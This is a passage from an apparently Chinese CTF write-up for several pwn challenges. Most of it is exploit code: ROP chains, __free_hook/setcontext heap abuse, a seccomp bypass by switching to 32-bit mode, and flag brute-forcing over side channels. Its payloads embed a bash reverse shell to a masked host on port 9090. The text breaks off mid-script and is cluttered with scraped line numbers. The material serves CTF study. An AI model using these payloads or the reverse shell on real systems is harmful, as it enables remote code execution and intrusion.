for i in range(4):

payload += rb"\\u"

tmp = bytes(hex((((num & 0xff) << 8) + ((num >> 8) & 0xff)) & 0xffff)[2:],encoding='utf8').rjust(4,b'0')

payload += tmp

num = num >> 16

return payload

# print(pp64(0x1234))

# pp64 = lambda x : p64(x)[:6] + rb"\\u0000"

libc = ELF('./libc-2.31.so')

# libc_base = 0x7ffff7474000

libc_base = 0x7faea6b33000

rdx_gadget = libc_base + 0x000000000012c050

rdi_ret = libc_base + 0x0000000000026796

ret = 0x000000000002535f + libc_base

rsi_ret = 0x000000000002890f + libc_base

rdx_ret = 0x00000000000cb1cd + libc_base

# 0x555556606000

# heap_base = 0x555556606000 + 0x1E1600

heap_base = 0x56400792d000+ 0x1E1600

free_hook = libc_base + libc.symbols["__free_hook"]

shell_addr = libc_base + libc.symbols["__free_hook"]+ 0x140

frame = SigreturnFrame()

frame.rip = ret

frame.rsp = heap_base + 0x640 + 0x100

print(unpack_many(bytes(frame)))

payload = rb'''

{

\"bb\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"aa\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"cc\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"dd\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"ee\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"ff\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"gg\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

\"ff\":\"aaaaaa\",



\"ee\":\"aaaaaa\",

\"dd\":\"aaaaaa\",

\"zz\":\"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\\\"'''

payload += rb"b" * 6 + pp64(0x51) + pp64(0) * 9

# payload += pp64(0x31) + pp64(0) * 3

payload += pp64(0x31) + pp64(free_hook - 0x30)

# payload += b'b' * (0x80-2)

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

payload += rb'\",'

payload +=rb'''

\"address\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload +=rb'''

\"rop\":\"'''

rop = pp64(rdi_ret) + pp64(shell_addr) + pp64(rsi_ret) + pp64(0) + pp64(rdx_ret) + pp64(0)+ pp64(libc_base+libc.symbols['system'])

payload += pp64(0) + pp64(heap_base + 0x640 + 0x10 - 0xC0 + 0x10) + pp64(0) * 2 +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )

payload += pp64(0) * 15 + pp64(heap_base + 0x640 + 0x108 - 0xc0 + 0x10) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7

# payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rop + rb'/bin/touch /ctf/work/asddd'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

\"rops\":\"'''

payload += rb'a'*0x8 + pp64(free_hook + 0x10) +rb"\\\"" + rb"a"*(6+8 + 8) +rb'a' * 8+ pp64(rdx_gadget) + pp64(libc.symbols['__free_hook'] + libc_base + 0x10) + pp64(0) * 2 +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )

# payload += bytes(frame)[0x28:].replace(b'\x00\x00',rb'\\u0000')

payload += pp64(0) * 15 + pp64(libc_base + 0x1C1E70 + 0x108) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7

payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/xxx.xx.xx.xx/9090 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

\"rops\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload += rb'''

}

'''

# create_php(payload.replace(rb'\"',rb'"'))

create_php(payload)

create_php2(payload.replace(rb'\"',rb'"'))

然后将pwnjson里面的’\‘替换成’\’ 复制到文本框中点击发送即可

web服务堆环境很乱 需要多次爆破尝试.

img

img

pwnjson如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{

"bb":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"aa":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"cc":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"dd":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"ee":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"ff":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"gg":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"ff":"aaaaaa",



"ee":"aaaaaa",

"dd":"aaaaaa",

"zz":"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\"bbbbbb\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u3100\u0000\u0000\u0000\u404e\ucfa6\uae7f\u0000",

"address":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

"rop":"\u0000\u0000\u0000\u0000\ua0eb\ub007\u4056\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u98ec\ub007\u4056\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u50be\ub7a6\uae7f\u0000/bin/touch\u2020/ctf/work/asddd",

"rops":"aaaaaaaa\u804e\ucfa6\uae7f\u0000\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u50f0\uc5a6\uae7f\u0000\u804e\ucfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u784f\ucfa6\uae7f\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u50be\ub7a6\uae7f\u0000/bin/bash\u2020-c\u2020\u2022/bin/bash\u2020-i\u2020>&/dev/tcp/xxx.xxx.xxx.xx/9090\u20200>&1\u2022",

"rops":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",

}

Christmas Song

逆向scan.l 和 parser.y文件得到slang语言语法文法

通过call function open flag read flag 然后利用strncmp侧信道爆破flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

import string

context.log_level = 'debug'

# sh = remote('124.71.144.133', 2144)

payload = '''

gift work is "12345678901234567890123456789012345678901234567890";

gift path is "/home/ctf/flag";

gift oflag is 0;

gift temp is 0;

gift Size is 48;

gift fd is 0;

gift flag is "{0}";

gift Ans is 1;

gift zero is 0;

gift flagsize is {1};

reindeer Dancer delivering gift path oflag temp brings back gift fd;

reindeer Dasher delivering gift fd work Size;

reindeer Prancer delivering gift work flag flagsize brings back gift Ans;

this family wants gift Ans if the gift is Ans equal to zero : reindeer Rudolph delivering gift path oflag temp brings back gift fd; ok, they should already have a gift;

EOF

'''

flag = 'SCTF{Merry'

cnt = 11

stringset = string.printable

while True:

for i in stringset:

temp = flag + i

log.success(temp)

sh = remote('124.71.144.133', 2144)

sh.sendafter('(EOF to finish):', payload.format(temp, cnt))

# log.success(payload.format(temp, cnt))

try :

sh.recvuntil('error:')

except EOFError:

sh.close()

else:

flag += i

cnt += 1

sh.close()

break



log.success('flag=' + flag)

sh.interactive()

Christmas Bash

在开始时候将sleep变量的值设置成了libc中sleep可以用此求出libcbase

然后将_IO_2_1_stdout_的vtable中的_IO_file_jumps改为system, 利用printf即可触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 gift libcbase is sleep - 972880;

gift target is libcbase + 2205080;

gift system is libcbase + 346848;

gift Stdout is libcbase + 2201440 + 4;

gift heap is libcbase + 2198720;

gift var is "12345678";

gift Binsh is ";/home/ctf/getflag >&2";

gift Size is 8;

gift tmp is 30;

gift filename is "wood";

gift offset is 1000;

gift var is var + offset;

reindeer Vixen delivering gift target var Size;

reindeer Vixen delivering gift Stdout Binsh tmp;

reindeer Dancer delivering gift filename Size Size;

Gadget

题目给了一个简单的栈溢出,但是用 seccomp 限制了 syscall 只能有 (fstat)5 和 (read) 0。

于是问题变成了,如何才能打开 flag 文件。查询 syscall 之后发现,在 i386 架构下,syscall number 5 是 open。因此,我们可以通过切换到 32 位的方式来打开 flag,然后再切换回 64 位模式来读取 flag。

但是仍然还有问题,并没有一个 syscall 可以写 flag 到输出,于是我们只能设计一个方法让远程能够判断 flag 某一位是不是某一个字符。这个方法有很多,我这里选择的是,在 gadget 的最后放一个 read stdin 的操作,这样就能让 ROP 执行完之后卡住。但是在卡住之前,会尝试往一个邻近边界的地址 + 当前 flag 字符的位置写入内容,如果越界了就崩溃(这样程序结束之后也就不会卡住了),如果没有越界就不会崩溃。通过这样的方式就可以判断。

由于 read 函数每次只能读入不到 200 个字符,最后我把 ROP 分成了四个阶段,具体 exploit 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#!/usr/bin/env python3

import os

import time

from zio import *

LOCAL = False

target = './gadget.patched'

if os.getenv('TARGET'):

ary = os.getenv('TARGET').split(':')

target = (ary[0], int(ary[1]))

LOCAL = False

def test(index, guess):

print('testing %d, guess = %#x' % (index, guess))

print('target = %r' % (target, ))

io = zio(target, print_read=COLORED(REPR, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=10000)

if LOCAL:

io.gdb_hint(breakpoints=[

# 0x401205, # before ret

0x401222, # before main ret

])

else:

# do proof of work?

# io.readline()

# input('continue?')

pass

flag_addr = 0x40d160

flag_path = b'./flag'

new_stack2 = 0x40D200

new_stack3 = 0x40d400

new_stack4 = 0x40d600

pop_rax_ret = 0x401001 # pop rax/eax ; ret

syscall_pop_ret = 0x401165 # syscall ; pop ebp ; ret

pop_rdi_pop_ret = 0x401734 # pop rdi ; pop rbp ; ret

pop_r14_pop2_ret = 0x0000000000401731 # pop r14 ; pop r15 ; pop rbp ; ret

pop_rsi_pop2_ret = 0x0000000000401732 # pop rsi ; pop r15 ; pop rbp ; ret

pop_rbx_pop3_ret = 0x403072 # pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret | pop ebx ; inc ecx ; pop esi ; inc ecx ; pop edi ; pop ebp ; ret

store_rdi_rax_ret = 0x0000000000403beb # mov qword ptr [rdi + rdx - 0x27], rax ; mov rax, rdi ; ret

access_rcx = 0x0000000000402fee # mov byte ptr [rcx + rdi - 5], 0x89 ; ret

pop_rcx_ret = 0x000000000040117b # pop rcx ; ret

payload = b'_' * 0x30 + b'_____RBP'

payload += l64(pop_rax_ret)

payload += flag_path.ljust(8, b'\0')

payload += l64(pop_rdi_pop_ret)

payload += l64(flag_addr + 0x27)

payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

payload += l64(store_rdi_rax_ret)

payload += l64(pop_rdi_pop_ret)

payload += l64(new_stack2) # bss

payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

payload += l64(0x401170) # read stage2 ROP

payload += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

payload += l64(new_stack2)

payload2 = b'_' * 24

payload2 += l64(0x401222)

payload2 += l64(0x4011ed) # retf

payload2 += l64(0x401222 | (0x23 << 32))

# mode switched

payload2 += l32(pop_rax_ret)

payload2 += l32(0x5) # open

payload2 += l32(pop_rbx_pop3_ret)

payload2 += l32(flag_addr)

payload2 += l32(0x5f5f5f5f)

payload2 += l32(0x5f5f5f5f)

payload2 += l32(0x5f5f5f5f)

payload2 += l32(pop_rcx_ret)

payload2 += l32(0)

int80_ret = 0x4011f3

payload2 += l32(int80_ret)

# switch back

payload2 += l32(0x4011ed)

payload2 += l32(0x401222)

payload2 += l32(0x33)

payload2 += l64(pop_rdi_pop_ret)

payload2 += l64(new_stack3) # bss

payload2 += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

payload2 += l64(0x401170) # read stage3 ROP

payload2 += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

payload2 += l64(new_stack3)

# 0x0000000000406a43 : add al, byte ptr [rax] ; add byte ptr [rax + 0x14], bh ; syscall

# 0x000000000040884e : je 0x408855 ; movsb byte ptr [rdi], byte ptr [rsi] ; dec edx ; jne 0x408850 ; ret

payload3 = b'_' * 24

payload3 += l64(pop_rax_ret)

payload3 += l64(0)

payload3 += l64(pop_rdi_pop_ret)

payload3 += l64(3) # fd

payload3 += l64(0x5f5f5f5f5f5f5f5f)

payload3 += l64(pop_rsi_pop2_ret)

payload3 += l64(flag_addr)

payload3 += l64(0x5f5f5f5f5f5f5f5f)

payload3 += l64(0x5f5f5f5f5f5f5f5f)

payload3 += l64(syscall_pop_ret)

payload3 += l64(0x5f5f5f5f5f5f5f5f)

payload3 += l64(pop_rdi_pop_ret)

payload3 += l64(new_stack4) # bss

payload3 += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

payload3 += l64(0x401170) # read stage3 ROP

payload3 += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

payload3 += l64(new_stack4)

payload4 = b'_' * 24

payload4 += l64(pop_rcx_ret)

payload4 += l64(0x40e000 - 1 + 5 - guess)

payload4 += l64(pop_rbx_pop3_ret)

payload4 += l64(0) # rbx = 0

payload4 += l64(access_rcx) # r14

payload4 += l64(0x5f5f5f5f5f5f5f5f) # r15

payload4 += l64(0x5f5f5f5f5f5f5f5f) # rbp

payload4 += l64(pop_rax_ret)

payload4 += l64(flag_addr + index)

payload4 += l64(pop_rsi_pop2_ret)

payload4 += l64(0) + l64(0) + l64(0)

payload4 += l64(0x4011BE) # mov bl, [rsi+rax]; mov rdi, rbx; push r14; ret

payload4 += l64(pop_rdi_pop_ret)

payload4 += l64(flag_addr)

payload4 += l64(0x5f5f5f5f5f5f5f5f)

payload4 += l64(0x401170)

for i, p in enumerate([payload, payload2, payload3, payload4]):

if LOCAL:

input('stage%d?' % (i+1))

else:

time.sleep(0.1)

if len(p) > 0xc0:

raise ValueError('payload2 too long: %#x' % len(p))

io.writeline(p)

try:

io.read_until_timeout(1)

if io.is_eof_seen():

io.close()

return False

else:

io.close()

return True

except ConnectionResetError:

return False

flag = b''

while True:

for i in range(32, 127):

v = test(len(flag), i)

if v:

flag += bytes([i])

break

print('flag = %s' % flag)

if flag.endswith(b'}'):

break

CheckIn ret2text

连接上端口并且做了 PoW 验证之后,会发送回来一个 base64 的 ELF,打开之后发现是很多运算逻辑,最后在某个深处有一个栈溢出。但是为了达到这个栈溢出的位置,需要自动选择正确的输入到达这个路径。

看起来需要 “符号执行” 技术来达到这样的条件。不过由于对 angr 不太熟,同时也想尝试一下手糙 “符号执行” 的难度有多大,这里选择直接使用 z3 来做。不过这样的代价是,代码量有点收不住。。一道简单的栈溢出题目,写了 500 多行代码,有点超出预想了。。

仔细观察题目发回来的 ELF,我们可以发现以下两个特征:

  • 路径很多,但是实际上是一个二叉树结构,没有环形,也没有其他结构。而漏洞函数就在二叉树叶子节点的某个分支。

  • 虽然验证代码比较长,但是总共只有两种,一种是输入几个数字,计算一道数学题;另一种是输入一段字符串,然后做一些位运算之后,与一个结果相比较。

因此可以用以下思路来解决:

  • 先把 ELF 做反汇编,然后建立每一个指令和能达到的指令的关联。

  • 遍历指令,找到溢出的地方在哪里。

  • 根据第一步形成的关联,反向一直寻路到 main 函数起点(毕竟没有环路),并标记沿途中有多个出口指令的分叉选择。

  • 最后再从 main 函数正向走到漏洞点,根据路径分叉选择来计算正确的输入是什么。如果是需要匹配的,那么用 z3 计算出正确的结果;如果不需要匹配的,那么随机生成一个输入即可通过。

最后基于上述思路,添加亿点点细节,即可拿到 flag(可能是有史以来为一个 pwn 题写过的最长的代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
#!/usr/bin/env python3

import os

from typing import List

import subprocess

import base64

import random

import re

from dataclasses import dataclass

from z3 import Solver, BitVec, BitVecVal, sat, unsat

from zio import *

@dataclass

class Ins:

index: int

addr: str

exits: List[str]

opcode: str

args: List[str]

choice: str

def __str__(self):

return '%s: %s %s -> %s' % (self.addr, self.opcode, ','.join(self.args), self.exits)

def load_disasm(filepath):

valid = False

cnt = 0

instructions = []

mapping = {}

reverse_map = {}

for line in open(filepath):

cnt += 1

if '<main>:' in line:

valid = True

continue

elif '<_Unwind_Resume@plt>' in line:

valid = False

continue

if not valid or not line.strip():

continue

ary = line[:-1].split('\t')

addr = ary[0].split(':')[0].strip()

instruction = ary[2].split('#')[0].strip()

ary = instruction.split(maxsplit=1)

if len(ary) == 2:

opcode, args = ary

else:

opcode = ary[0]

args = ''

args = args.split(',')

ins = Ins(

index=len(instructions),

addr=addr,

opcode=opcode,

args=args,

exits=[],

choice=None,

)

target = args[0].split(' ')[0]

if opcode == 'jmp':

ins.exits.append(target)

reverse_map.setdefault(target, [])

reverse_map[target].append(addr)

elif opcode in ['je', 'jne', 'jg', 'jbe']:

ins.exits.append(None)

ins.exits.append(target)

reverse_map.setdefault(target, [])

reverse_map[target].append(addr)

else:

ins.exits.append(None)

if opcode.startswith('j'):

raise ValueError('unhandled jmp: %s' % opcode)

if len(instructions) and instructions[-1].exits[0] is None:

instructions[-1].exits[0] = addr

reverse_map.setdefault(addr, [])

reverse_map[addr].append(instructions[-1].addr)

instructions.append(ins)

mapping[addr] = ins

for ins in instructions:

print(ins)

return instructions, mapping, reverse_map

def find_overflow():

pattern = re.compile(r'\[rbp-(\w+)\]')

for i, ins in enumerate(instructions):

if ins.opcode == 'call' and 'input_line' in ins.args[0]:

lea_rax_rbp = instructions[i-3]

assert lea_rax_rbp.opcode == 'lea'

assert lea_rax_rbp.args[0] == 'rax'

mo = pattern.match(lea_rax_rbp.args[1])

if not mo:

raise ValueError('opcode incorrect: %s' % lea_rax_rbp.args[1])

offset = int(mo.group(1), 0)

mov_esi = instructions[i-2]

assert mov_esi.opcode == 'mov'

assert mov_esi.args[0] == 'esi'

length = int(mov_esi.args[1], 0)

if length - offset >= 8:

return i, offset, length

def find_path(idx):

addr = instructions[idx].addr

path = [addr]

while True:

prev = reverse_map[addr]

if len(prev) > 1:

raise ValueError('multiple path: %s' % prev)

prev = prev[0]

mapping[prev].choice = addr

addr = prev

path.append(addr)

if mapping[addr].index == 0:

break

for p in path[::-1]:

print(p)

def parse(symbols, operand:str, size=32):

try:

return BitVecVal(int(operand, 0), size)

except:

return symbols[operand]

def store(symbols:dict, operand:str, value):

symbols[operand] = value

def add(solver, symbols, args, size=32):

a = parse(symbols, args[0], size=size)

b = parse(symbols, args[1], size=size)

c = a + b

store(symbols, args[0], c)

def sub(solver, symbols, args, size=32):

a = parse(symbols, args[0], size=size)

b = parse(symbols, args[1], size=size)

c = a - b

store(symbols, args[0], c)

def imul(solver, symbols, args, size=32):

a = parse(symbols, args[0], size=size)

b = parse(symbols, args[1], size=size)

c = a * b

store(symbols, args[0], c)

def xor(solver, symbols, args, size=32):

a = parse(symbols, args[0], size=size)

b = parse(symbols, args[1], size=size)

c = a ^ b

store(symbols, args[0], c)

def mov(solver, symbols, args, size=32):

b = parse(symbols, args[1])

store(symbols, args[0], b)

def bitwise_not(solver, symbols, args, size=32):

a = parse(symbols, args[0], size=size)

c = ~a

store(symbols, args[0], c)

def cmp(solver, symbols, args, size=32):

a = parse(symbols, args[0])

b = parse(symbols, args[1])

solver.add(a == b)



def solve_math(block, match):

print('solve_math')

for b in block:

print(' ', b)

# DWORD PTR [rbp-0x5e0]

pattern = re.compile(r'DWORD PTR \[rbp-(\w+)\]')

solver = Solver()

symbols = {}

user_input = []

ops = {

'mov': mov,

'add': add,

'sub': sub,

'cmp': cmp,

'xor': xor,

'imul': imul,

}

i = 0

while i < len(block):

ins = block[i]

if ins.opcode == 'call' and 'input_val' in ins.args[0]:

store_ins = block[i+1]

assert store_ins.opcode == 'mov'

assert store_ins.args[1] == 'eax'

mo = pattern.match(store_ins.args[0])

if not mo:

print(store_ins)

raise ValueError('not match')

else:

bv = BitVec(store_ins.args[0], 32)

user_input.append(bv)

symbols[store_ins.args[0]] = bv

i += 2

else:

if len(user_input):

ops[ins.opcode](solver, symbols, ins.args, size=32)

i += 1



if not match:

return [random.randint(0, 65535) for i in range(len(user_input))]

if solver.check() == sat:

m = solver.model()

ret = []

for i in range(len(user_input)):

v = m[user_input[i]]

if v is not None:

ret.append(v.as_long())

else:

ret.append(0x5f)

return ret

raise Exception('unsat')

def solve_array(block, match):

print('solve_array')

for b in block:

print(' ', b)



solver = Solver()

symbols = {}

pattern = re.compile(r'\[rbp-(\w+)\]')

pattern2 = re.compile(r'\[rip\+(\w+)\]')

user_input = []

ops = {

'movzx': mov,

'mov': mov,

'add': add,

'sub': sub,

'cmp': cmp,

'xor': xor,

'not': bitwise_not,

}

i = 0

while i < len(block):

ins = block[i]

print(i, ins)

if ins.opcode == 'call' and 'input_line' in ins.args[0]:

mov_esi = block[i-2]

assert mov_esi.opcode == 'mov'

assert mov_esi.args[0] == 'esi'

length = int(mov_esi.args[1], 0)

lea_ins = block[i-3] # lea rax,[rbp-0x6e0]

assert lea_ins.opcode == 'lea'

assert lea_ins.args[0] == 'rax'

mo = pattern.search(lea_ins.args[1])

if mo:

base = int(mo.group(1), 16)

else:

raise ValueError('invalid option: %s' % lea_ins.args[1])

print('length = %#x' % length)

for j in range(length):

key = 'BYTE PTR [rbp-%#x]' % (base-j)

bv = BitVec(key, 8)

symbols[key] = bv

user_input.append(bv)

i += 1

else:

if len(user_input):

if ins.opcode in ['lea', 'test', 'setz', 'sete']:

pass

elif ins.opcode == 'call':

lea_rsi = block[i-2]

assert lea_rsi.opcode == 'lea'

assert lea_rsi.args[0] == 'rsi'

mo = pattern2.match(lea_rsi.args[1])

if not mo:

raise ValueError('invalid lea_rsi: %s' % lea_rsi)

pos = int(mo.group(1), 0) + int(lea_rsi.choice, 16) - 0x400000

value = bin_content[pos:pos+length]

for j in range(length):

key = 'BYTE PTR [rbp-%#x]' % (base-j)

solver.add(symbols[key] == BitVecVal(value[j], 8))

elif ins.opcode == 'mov' and ins.args[1] == 'rax':

pass

else:

if len(ins.args) > 1 and ins.args[1] == 'al':

args = [ins.args[0], 'eax']

else:

args = ins.args

ops[ins.opcode](solver, symbols, args, size=8)



i += 1

if not match:

return bytes([random.randint(65, 90) for i in range(len(user_input))])

if solver.check() == sat:

m = solver.model()

ret = []

for i in range(len(user_input)):

ret.append(m[user_input[i]].as_long())

return bytes(ret)

raise Exception('unsat')

def walk(io):

idx = 0

addr = instructions[0].addr

block = []

while True:

ins = mapping[addr]

if len(ins.exits) == 1:

if ins.choice != ins.exits[0]:

return

block.append(ins)

addr = ins.choice

continue

print('handling block with %d instructions' % (len(block), ))

assert ins.choice in ins.exits

if block[-1].opcode == 'cmp':

# math

if ins.choice in ins.args[0]:

if ins.opcode in ['jz', 'je']:

should_match = True

else:

